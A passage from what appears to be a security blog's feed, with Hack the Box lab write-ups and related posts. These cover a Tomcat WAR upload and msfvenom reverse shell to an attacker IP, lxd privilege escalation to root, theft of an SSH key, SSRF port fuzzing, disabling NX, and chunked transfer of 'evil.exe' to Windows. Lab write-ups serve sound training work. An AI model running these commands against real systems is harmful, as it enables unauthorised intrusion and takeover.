&lt;h2 id="deploying-our-own-app"&gt;Deploying our own app&lt;/h2&gt;
&lt;p&gt;Looking at the &lt;a href="https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html"&gt;Tomcat manager documentation&lt;/a&gt;, we can get instructions on how to use the HTTP interface to deploy new apps (see section &amp;ldquo;Deploy A New Application Archive (WAR) Remotely&amp;rdquo;). TL;DR: A simple &lt;code&gt;curl&lt;/code&gt; PUT file upload command should do.&lt;/p&gt;
&lt;p&gt;We can create our own WAR app with a reverse shell payload by using &lt;code&gt;msfvenom&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.19 LPORT=80 -f war -o letmein.war
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For later access, we note the name of the JSP file &lt;code&gt;msfvenom&lt;/code&gt; generated by looking into the &lt;code&gt;letmein.war&lt;/code&gt; (which is a zip archive):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ unzip -l letmein.war 
Archive: letmein.war
 Length Date Time Name
--------- ---------- ----- ----
 0 2020-11-06 22:01 META-INF/
 71 2020-11-06 22:01 META-INF/MANIFEST.MF
 0 2020-11-06 22:01 WEB-INF/
 263 2020-11-06 22:01 WEB-INF/web.xml
 1801 2020-11-06 22:01 gvggpzkl.jsp &amp;lt;--- this guy!
--------- -------
 2135 5 files
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With our credentials and payload at hand, we can attempt to deploy:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;curl -v -u &amp;#39;tomcat:$3cureP4s5w0rd123!&amp;#39; --upload-file letmein.war &amp;#39;http://10.10.10.194:8080/manager/text/deploy?path=/letmein&amp;amp;update=true&amp;#39;

* Trying 10.10.10.194:8080...
* Connected to 10.10.10.194 (10.10.10.194) port 8080 (#0)
* Server auth using Basic with user &amp;#39;tomcat&amp;#39;
&amp;gt; PUT /manager/text/deploy?path=/letmein&amp;amp;update=true HTTP/1.1
&amp;gt; Host: 10.10.10.194:8080
&amp;gt; Authorization: Basic dG9tY2F0OiQzY3VyZVA0czV3MHJkMTIzIQ==
&amp;gt; User-Agent: curl/7.72.0
&amp;gt; Accept: */*
&amp;gt; Content-Length: 1533
&amp;gt; Expect: 100-continue
&amp;gt; 
* Mark bundle as not supporting multiuse
&amp;lt; HTTP/1.1 100 
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
&amp;lt; HTTP/1.1 200 
&amp;lt; Cache-Control: private
&amp;lt; Expires: Thu, 01 Jan 1970 00:00:00 GMT
&amp;lt; X-Content-Type-Options: nosniff
&amp;lt; Content-Type: text/plain;charset=utf-8
&amp;lt; Transfer-Encoding: chunked
&amp;lt; Date: Fri, 06 Nov 2020 21:20:15 GMT
&amp;lt; 
OK - Deployed application at context path [/letmein]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Starting a listener on port 80 (&lt;code&gt;nc -lvnp 80&lt;/code&gt;), then hitting the JSP file of our payload (&lt;code&gt;curl http://10.10.10.194:8080/letmein/gvggpzkl.jsp&lt;/code&gt;) should give us our first shell:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ nc -lvnp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.194.
Ncat: Connection from 10.10.10.194:53318
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="privilege-escalation-to-ash-hash-cracking"&gt;Privilege Escalation to &amp;ldquo;ash&amp;rdquo; (hash cracking)&lt;/h2&gt;
&lt;p&gt;With our shell, we are the &lt;code&gt;tomcat&lt;/code&gt; user and not part of any special group (&lt;code&gt;id&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;After a couple of basic checks and looking at common places, we find &lt;code&gt;16162020_backup.zip&lt;/code&gt; inside &lt;code&gt;/var/www/html/files&lt;/code&gt; – a file we could have also accessed earlier via port 80 if we had known its name.&lt;/p&gt;
&lt;p&gt;We can download and try to open it. Unfortunately, the zip file has a password on it.&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;zip2john 16162020_backup.zip&lt;/code&gt;, we extract the hash and attempt to crack it using a common wordlist:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;john --wordlist=~/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt zip.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status
admin@it (16162020_backup.zip)
1g 0:00:00:01 DONE (2020-11-06 22:48) 0.5617g/s 5817Kp/s 5817Kc/s 5817KC/s adminako123..admin422243
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Cracking the password succeeds after just a second.&lt;/p&gt;
&lt;p&gt;We can now extract the contents of the archive, but find it is simply a current backup of the site and thus contains nothing new.&lt;/p&gt;
&lt;p&gt;Having discovered a new password, however, we can see if somebody is re-using their credentials.&lt;/p&gt;
&lt;p&gt;We first try it on the user &lt;code&gt;ash&lt;/code&gt; as it&amp;rsquo;s the only user with a shell besides root (&lt;code&gt;grep bash /etc/passwd&lt;/code&gt;). And it works! We can switch to user &lt;code&gt;ash&lt;/code&gt; with &lt;code&gt;su ash&lt;/code&gt; and password &lt;code&gt;admin@it&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="privilege-escalation-to-root-lxd"&gt;Privilege Escalation to &amp;ldquo;root&amp;rdquo; (lxd)&lt;/h2&gt;
&lt;p&gt;Now that we are &lt;code&gt;ash&lt;/code&gt;, let&amp;rsquo;s check our groups again:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We are part of the &lt;code&gt;lxd&lt;/code&gt; group, which looks like a solid way to escalate by creating a new container and mounting the host file system.&lt;/p&gt;
&lt;p&gt;To first build an image, we need &lt;a href="https://github.com/lxc/distrobuilder"&gt;distrobuilder&lt;/a&gt;, a Go application. It needs a couple of requirements, but is easy to setup when following the &lt;a href="https://github.com/lxc/distrobuilder#installing-from-source"&gt;instructions on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We can also – more or less – follow the instructions for building the image. But as we only need a light-weight base, we choose Alpine over Ubuntu.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s make a directory and grab an Alpine configuration:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ mkdir alpine
$ cd alpine/
$ vim alpine.yml
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For the &lt;code&gt;alpine.yml&lt;/code&gt; we use &lt;a href="https://github.com/lxc/lxc-ci/blob/master/images/alpine.yaml"&gt;https://github.com/lxc/lxc-ci/blob/master/images/alpine.yaml&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now we can go ahead and build the &lt;code&gt;lxd&lt;/code&gt; image using &lt;code&gt;distrobuilder&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ distrobuilder build-lxd alpine.yml -o image.release=3.12
/tmp/alpinelinux-3.12-x86_64/alpine-minirootfs-3.12.0-x86_64.tar.gz: 100% (5.53MB/s)
/tmp/alpinelinux-3.12-x86_64/alpine-minirootfs-3.12.0-x86_64.tar.gz.asc: 100% (2.29GB/s)
fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We should now have our container image consisting of &lt;code&gt;lxd.tar.xz&lt;/code&gt; and &lt;code&gt;rootfs.squashfs&lt;/code&gt; present in our &lt;code&gt;alpine&lt;/code&gt; folder. Let&amp;rsquo;s transfer the file over to the target machine:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# on target
nc -lvnp 8000 &amp;gt; lxd.tar.xz
nc -lvnp 8000 &amp;gt; rootfs.squashfs

# on attacker
nc 10.10.10.194 8000 &amp;lt; lxd.tar.xz
nc 10.10.10.194 8000 &amp;lt; rootfs.squashfs

# on both hosts to check if everything went fine
md5sum *
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then add the image on the target host:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;lxd init # on a fresh instance, you need to init, but can go with the defaults
lxc image import lxd.tar.xz rootfs.squashfs --alias givemeroot
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now we can create and configure our privileged &lt;em&gt;privesc&lt;/em&gt; container to mount the host file system (options taken from &lt;a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation"&gt;HackTricks&lt;/a&gt;):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;lxc init givemeroot privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And that&amp;rsquo;s it. We can run our container, get a shell in it and navigate to our mount point to gain full access to the host&amp;rsquo;s root filesystem:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;lxc start privesc
lxc exec privesc /bin/sh
cd /mnt/root &amp;lt;-- host&amp;#39;s file system
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With this kind of access, we can steal the &lt;code&gt;id_rsa&lt;/code&gt; from &lt;code&gt;/mnt/root/root/.ssh&lt;/code&gt; and SSH into the box as root:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ssh -i root.key root@10.10.10.194
&lt;/code&gt;&lt;/pre&gt;&lt;h1 id="undo"&gt;Undo&lt;/h1&gt;
&lt;p&gt;Since this is a quite visible privilege escalation, you can either reset the box or &lt;a href="https://discuss.linuxcontainers.org/t/how-to-remove-lxd-from-my-system/2336/4"&gt;remove&lt;/a&gt; the lxd stuff you added to not spoil it for other players. Essentially, it is:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;lxc delete privesc
lxc image delete givemeroot
lxc network delete lxdbr0 &amp;lt;-- from the init
lxc storage delete default
lxc profile edit default &amp;lt;-- wipe config
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Disabling NX in Linux via Kernel Parameter (using GRUB)</title><link>https://davidhamann.de/2020/09/09/disable-nx-on-linux/</link><pubDate>Wed, 09 Sep 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/09/09/disable-nx-on-linux/</guid><description>&lt;p&gt;To boot Linux without Data Execution Prevention, so that the OS doesn&amp;rsquo;t mark certain memory regions as non-executable, we&amp;hellip;&lt;/p&gt;
&lt;p&gt;1.) &amp;hellip; boot and enter the GRUB menu (hold &lt;code&gt;Shift&lt;/code&gt;-key on boot*)&lt;/p&gt;
&lt;p&gt;&lt;img alt="GRUB menu" loading="lazy" src="https://davidhamann.de/images/grub-menu.png"&gt;&lt;/p&gt;
&lt;p&gt;2.) &amp;hellip; select the OS and press &lt;code&gt;e&lt;/code&gt; to edit the commands and &lt;a href="https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt"&gt;kernel parameters&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Kernel parameters" loading="lazy" src="https://davidhamann.de/images/grub-kernel-params.png"&gt;&lt;/p&gt;
&lt;p&gt;3.) &amp;hellip; add &lt;code&gt;noexec=off&lt;/code&gt; and/or &lt;code&gt;noexec32=off&lt;/code&gt; (depending on what you want) in the &lt;code&gt;linux&lt;/code&gt; line&lt;/p&gt;
&lt;p&gt;&lt;img alt="Adding noexec flags" loading="lazy" src="https://davidhamann.de/images/noexec-kernel-params.jpg"&gt;&lt;/p&gt;
&lt;p&gt;4.) &amp;hellip; then boot with &lt;code&gt;Ctrl-x&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;After booting, we should find the option disabled in the &lt;code&gt;dmesg&lt;/code&gt; output:&lt;/p&gt;
&lt;p&gt;&lt;img alt="dmesg output" loading="lazy" src="https://davidhamann.de/images/dmesg-noexec.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Now we should be able to overflow and execute all the things :-)&lt;/p&gt;
&lt;hr&gt;
&lt;div class="notice notice-info"&gt;
 * Tip: If you&amp;rsquo;re booting a VM and are not fast enough to interrupt the boot to access the menu, add a boot delay to your VM options (for ESXI it is in &lt;code&gt;Settings -&amp;gt; VM Options -&amp;gt; Boot Options -&amp;gt; Boot Delay&lt;/code&gt;).
&lt;/div&gt;
</description></item><item><title>Splitting a binary into chunks on Linux, and re-combining them on Windows</title><link>https://davidhamann.de/2020/09/09/split-binary-file-chunks/</link><pubDate>Wed, 09 Sep 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/09/09/split-binary-file-chunks/</guid><description>&lt;p&gt;Recently, I needed to transfer a binary over a very limited network connection allowing only small packets to be sent. I ended up splitting the binary into pieces on my Linux box and reassembled the pieces on the target Windows host.&lt;/p&gt;
&lt;p&gt;If, for some reason, you cannot use easier means like IP fragmentation and work with a smaller maximum transfer unit (MTU), here&amp;rsquo;s how to do the splitting and re-combining.&lt;/p&gt;
&lt;h2 id="split-binary-into-pieces-on-linux"&gt;Split binary into pieces on Linux&lt;/h2&gt;
&lt;p&gt;Splitting a file into pieces on Linux is very straightforward – just use the &lt;code&gt;split&lt;/code&gt; program (&lt;a href="https://man7.org/linux/man-pages/man1/split.1.html"&gt;man&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The following command will split &lt;code&gt;evil.exe&lt;/code&gt; into pieces of 1000 bytes, prefix them with &lt;code&gt;chunk&lt;/code&gt; and use a numeric suffix for each chunk.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;split -b 1000 -d evil.exe chunk
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So we will end up with something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;chunk00 chunk16 chunk32 chunk48
chunk01 chunk17 chunk33 chunk49
chunk02 chunk18 chunk34 chunk50
chunk03 chunk19 chunk35 chunk51
chunk04 chunk20 chunk36 chunk52
chunk05 chunk21 chunk37 chunk53
chunk06 chunk22 chunk38 chunk54
chunk07 chunk23 chunk39 chunk55
chunk08 chunk24 chunk40 chunk56
chunk09 chunk25 chunk41 chunk57
chunk10 chunk26 chunk42 chunk58
chunk11 chunk27 chunk43 chunk59
chunk12 chunk28 chunk44
chunk13 chunk29 chunk45
chunk14 chunk30 chunk46
chunk15 chunk31 chunk47
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now that we have our chunks, we can host them for the Windows machine to download.&lt;/p&gt;
&lt;h2 id="download-from-windows"&gt;Download from Windows&lt;/h2&gt;
&lt;p&gt;To download the individual chunks to the Windows host, let&amp;rsquo;s use a quick PowerShell one-liner with Invoke-WebRequest:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;.59&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="p"&gt;%&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nv"&gt;$chunk&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;chunk{0:d2}&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;-f&lt;/span&gt; &lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;iwr &lt;/span&gt;&lt;span class="mf"&gt;1.2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$chunk&lt;/span&gt; &lt;span class="n"&gt;-outfile&lt;/span&gt; &lt;span class="nv"&gt;$chunk&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="notice notice-info"&gt;
 If all you have is a command prompt and cannot download the chunks directly, one idea is to convert the binary chunks into hex strings and then send these strings through the prompt of the shell you might have.
&lt;/div&gt;

&lt;h2 id="combine-the-chunks"&gt;Combine the chunks&lt;/h2&gt;
&lt;p&gt;Now that we have all pieces to the puzzle, let&amp;rsquo;s assemble them into the self-contained binary we actually want, with &lt;code&gt;Get-ChildItem&lt;/code&gt;, &lt;code&gt;Get-Content&lt;/code&gt; and &lt;code&gt;Set-Content&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;gci &lt;/span&gt;&lt;span class="n"&gt;-Filter&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;chunk*&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;gc &lt;/span&gt;&lt;span class="n"&gt;-Enc&lt;/span&gt; &lt;span class="n"&gt;Byte&lt;/span&gt; &lt;span class="n"&gt;-Read&lt;/span&gt; &lt;span class="mf"&gt;1000&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;sc &lt;/span&gt;&lt;span class="n"&gt;evil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="n"&gt;-Enc&lt;/span&gt; &lt;span class="n"&gt;Byte&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Doing a &lt;code&gt;Get-FileHash evil.exe&lt;/code&gt; on the Windows host should now return the same hash as &lt;code&gt;shasum -a 256 evil.exe&lt;/code&gt; on Linux.&lt;/p&gt;</description></item><item><title>Hack the Box Write-up #6: Kotarak</title><link>https://davidhamann.de/2020/02/23/htb-writeup-kotarak/</link><pubDate>Sun, 23 Feb 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/02/23/htb-writeup-kotarak/</guid><description>&lt;p&gt;In this write-up we&amp;rsquo;re looking at getting into the retired machine &lt;em&gt;Kotarak&lt;/em&gt; from &lt;a href="https://hackthebox.eu"&gt;Hack the Box&lt;/a&gt;. &lt;em&gt;Kotarak&lt;/em&gt; was a really fun box as it required lots of different techniques and was just a longer journey to root.&lt;/p&gt;
&lt;p&gt;Our first foothold comes via leaked credentials that we can retrieve using server side request forgery. These credentials give us admin access to a Tomcat manager application where we can upload our first reverse shell. From there, we get access to both a NTDS.DIT file and a Windows SYSTEM registry hive which we can leverage to extract user hashes. Cracking these hashes, we level up to another user and eventually use a vulnerability in wget to write our SSH key into the authorized_keys file on another (virtual) host and through that get access to the root flag on there.&lt;/p&gt;
&lt;h2 id="recon-and-enumeration"&gt;Recon and Enumeration&lt;/h2&gt;
&lt;p&gt;We start by mapping out open ports as always: &lt;code&gt;nmap -sV -sC -oN nmap/init 10.10.10.55&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)
| 256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)
|_ 256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods: 
| Supported methods: GET HEAD POST PUT DELETE OPTIONS
| Potentially risky methods: PUT DELETE
|_ See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp open http Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
| http-methods: 
|_ Potentially risky methods: PUT DELETE
|_http-title: Apache Tomcat/8.5.5 - Error report
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While having a look at the most promising port 8080, let&amp;rsquo;s start another scan of all TCP ports in the background: &lt;code&gt;nmap -p- -oN nmap/all-tcp 10.10.10.55&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Looking at the Tomcat instance on 8080 and the default manager path &lt;code&gt;http://10.10.10.55/manager/html&lt;/code&gt;, we try a couple of default creds like &lt;code&gt;tomcat:tomcat&lt;/code&gt;, but quickly see that these won&amp;rsquo;t get us in.&lt;/p&gt;
&lt;p&gt;Checking back on our nmap scan in the background, we have found another open port: 60000. So let&amp;rsquo;s enumerate this one next.&lt;/p&gt;
&lt;p&gt;An Apache instance is listening on 60000 and serves us this page:&lt;/p&gt;
&lt;p&gt;&lt;img alt="kotarak port 60000 screen" loading="lazy" src="https://davidhamann.de/images/kotarak-60000.png"&gt;&lt;/p&gt;
&lt;p&gt;The web application seems to fetch whatever URL we give it. Depending on how the application is fetching and outputting the given URL, we can think of two attacks here. First, can we access internal resources (services that listen only on localhost, are otherwise firewalled or running in an internal subnet), maybe even through other URL schemes (like &lt;code&gt;file://&lt;/code&gt;). Or second, can we serve our own page and inject code that might get executed on the server when the fetched contents are further processed (given the contents are not just echoed back out).&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s first try to access the same site: &lt;code&gt;http://127.0.0.1:60000&lt;/code&gt; – this works. How about &lt;code&gt;file:///etc/passwd&lt;/code&gt;? Nope, just a message &amp;ldquo;Try harder&amp;rdquo; comes back (that particular string seems to be filtered).&lt;/p&gt;
&lt;p&gt;How about accessing other internal services like &lt;code&gt;http://127.0.0.1:22&lt;/code&gt;? Looks good. So let&amp;rsquo;s fuzz all ports for the loopback address using &lt;a href="https://github.com/xmendez/wfuzz"&gt;wfuzz&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wfuzz -z file,ports.txt --hh 2 &amp;quot;http://10.10.10.55:60000/url.php?path=http%3A%2F%2F127.0.0.1%3AFUZZ&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We take the ports (1 - 65535) from ports.txt and for each make a request to &lt;code&gt;http://127.0.0.1:&amp;lt;port&amp;gt;&lt;/code&gt; while hiding responses with only 2 characters (run it first without this flag to determine the right number for &amp;ldquo;empty&amp;rdquo; responses).&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 I later learned through &lt;a href="https://www.youtube.com/watch?v=38e-sxPWiuY"&gt;ippsec&amp;rsquo;s walkthrough&lt;/a&gt;, that you can also do &lt;code&gt;-z range,1-65355&lt;/code&gt; and save the step of creating the port list file.
&lt;/div&gt;

&lt;p&gt;We get a result like the following and see a couple of promising candidates:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;===================================================================
ID Response Lines Word Chars Payload 
===================================================================

000000023: 200 4 L 4 W 62 Ch &amp;#34;22&amp;#34;
000000111: 200 17 L 24 W 187 Ch &amp;#34;110&amp;#34;
000000321: 200 26 L 109 W 1232 Ch &amp;#34;320&amp;#34;
000000201: 200 3 L 2 W 22 Ch &amp;#34;200&amp;#34;
000000091: 200 11 L 18 W 156 Ch &amp;#34;90&amp;#34;
000000889: 200 78 L 265 W 3955 Ch &amp;#34;888&amp;#34;
000003307: 200 2 L 6 W 123 Ch &amp;#34;3306&amp;#34;
000008081: 200 2 L 47 W 994 Ch &amp;#34;8080&amp;#34;
000060001: 200 78 L 130 W 1171 Ch &amp;#34;60000&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Looking closer at them, this is what we got:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;22: OpenSSH &amp;lt;&amp;ndash; We knew this already&lt;/li&gt;
&lt;li&gt;110: Website: &amp;ldquo;Test page&amp;rdquo;&lt;/li&gt;
&lt;li&gt;320: Website: &amp;ldquo;Admin area login&amp;rdquo; &amp;lt;&amp;ndash; Could be interesting&lt;/li&gt;
&lt;li&gt;200: Website &amp;ldquo;Hello World&amp;rdquo;&lt;/li&gt;
&lt;li&gt;90: Website: &amp;ldquo;Page under construction&amp;rdquo;&lt;/li&gt;
&lt;li&gt;888: Website: &amp;ldquo;Simple File Viewer&amp;rdquo; &amp;lt;&amp;ndash; gives us access to some documents&lt;/li&gt;
&lt;li&gt;3306: MySQL &amp;lt;&amp;ndash; Maybe interesting later&lt;/li&gt;
&lt;li&gt;8080: Tomcat &amp;lt;&amp;ndash; We knew this already&lt;/li&gt;
&lt;li&gt;60000: This site &amp;lt;&amp;ndash; We knew this already&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The file viewer should be an easy first target.&lt;/p&gt;
&lt;p&gt;&lt;img alt="File Viewer" loading="lazy" src="https://davidhamann.de/images/kotarak-file-viewer.png"&gt;&lt;/p&gt;
&lt;p&gt;Looking at the structure of the file links, the site serves these like so: &lt;code&gt;?doc=&amp;lt;file&amp;gt;&lt;/code&gt;. Let&amp;rsquo;s check the ones that are &amp;gt; 0 bytes in size.&lt;/p&gt;
&lt;p&gt;For example, the backup file can be accessed by requesting &lt;code&gt;http://127.0.0.1:888/?doc=backup&lt;/code&gt; via the application on 60000. And this particular file is actually a nice find. It&amp;rsquo;s a backup of a Tomcat config file which gives us our first credentials (output shortened):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;tomcat-users&lt;/span&gt; &lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://tomcat.apache.org/xml&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;xmlns:xsi=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://www.w3.org/2001/XMLSchema-instance&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;xsi:schemaLocation=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;http://tomcat.apache.org/xml tomcat-users.xsd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="na"&gt;version=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;1.0&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;user&lt;/span&gt; &lt;span class="na"&gt;username=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;admin&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;password=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;3@g01PdhB!&amp;#34;&lt;/span&gt; &lt;span class="na"&gt;roles=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;manager,manager-gui,admin-gui,manager-script&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;/tomcat-users&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With these credentials at hand, we can try logging in again at &lt;code&gt;http://10.10.10.55:8080/manager/html&lt;/code&gt;. And voilà, it works!&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tomcat manager" loading="lazy" src="https://davidhamann.de/images/kotarak-tomcat-manager.png"&gt;&lt;/p&gt;
&lt;h2 id="getting-first-shell"&gt;Getting first shell&lt;/h2&gt;
&lt;p&gt;With our admin credentials for the Tomcat manager, we can deploy our own applications to the server and thus have code execution.&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ll create a WAR file of a simple reverse shell with msfvenom and then deploy it (just like we did with the &lt;a href="https://davidhamann.de/2019/12/03/htb-writeup-jerry/"&gt;Jerry box&lt;/a&gt;).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.44 LPORT=1234 -f war -o revshell.war
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(We know we&amp;rsquo;re targeting a 64-bit system as the manager app gives us this information).&lt;/p&gt;
&lt;p&gt;Once deployed, we start a listener &lt;code&gt;nc -lvnp 1234&lt;/code&gt;, and then click on the deployed &amp;ldquo;revshell&amp;rdquo; application.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Revshell gives 404" loading="lazy" src="https://davidhamann.de/images/kotarak-revshell-404.png"&gt;&lt;/p&gt;
